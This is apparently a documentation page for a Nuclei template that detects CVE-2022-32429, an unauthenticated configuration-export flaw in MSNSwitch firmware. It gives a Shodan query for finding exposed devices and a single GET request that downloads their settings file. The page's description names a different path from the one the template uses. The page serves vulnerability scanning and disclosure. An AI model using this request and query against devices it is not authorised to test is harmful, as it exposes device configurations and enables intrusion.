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MSNSwitch Firmware MNT.2408 - Authentication Bypass

ID: CVE-2022-32429

Severity: critical

Author: theabhinavgaur

Tags: cve2022,cve,config,dump,packetstorm,msmswitch,unauth,switch,megatech

Description

Section titled “Description”

MSNSwitch Firmware MNT.2408 is susceptible to authentication bypass in the component http://MYDEVICEIP/cgi-bin-sdb/ExportSettings.sh. An attacker can arbitrarily configure settings, leading to possible remote code execution and subsequent unauthorized operations.

YAML Source

Section titled “YAML Source”
id: CVE-2022-32429


info:
  name: MSNSwitch Firmware MNT.2408 - Authentication Bypass
  author: theabhinavgaur
  severity: critical
  description: |
    MSNSwitch Firmware MNT.2408 is susceptible to authentication bypass in the component http://MYDEVICEIP/cgi-bin-sdb/ExportSettings.sh. An attacker can arbitrarily configure settings, leading to possible remote code execution and subsequent unauthorized operations.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to bypass authentication and gain unauthorized access to the affected device.
  remediation: |
    Apply the latest firmware update provided by the vendor to fix the authentication bypass vulnerability.
  reference:
    - https://packetstormsecurity.com/files/169819/MSNSwitch-Firmware-MNT.2408-Remote-Code-Execution.html
    - https://elifulkerson.com/CVE-2022-32429/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-32429
    - http://packetstormsecurity.com/files/169819/MSNSwitch-Firmware-MNT.2408-Remote-Code-Execution.html
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-32429
    cwe-id: CWE-287
    epss-score: 0.16163
    epss-percentile: 0.95978
    cpe: cpe:2.3:o:megatech:msnswitch_firmware:mnt.2408:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: megatech
    product: msnswitch_firmware
    shodan-query: http.favicon.hash:-2073748627 || http.favicon.hash:-1721140132
  tags: cve2022,cve,config,dump,packetstorm,msmswitch,unauth,switch,megatech


http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin-hax/ExportSettings.sh"


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "SSID1"


      - type: regex
        part: header
        regex:
          - 'filename="Settings(.*).dat'
          - 'application/octet-stream'
        condition: and


      - type: status
        status:
          - 200
# digest: 490a0046304402205bb9f584952f7b25dd64ac43e5dd2546a13ca4244c46c10273c87c70eeb7ba67022005a141e8f3abf6966df9bcd7b4eff7d00800849eb75ea8bb5e0378b62bc03961:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-32429.yaml"

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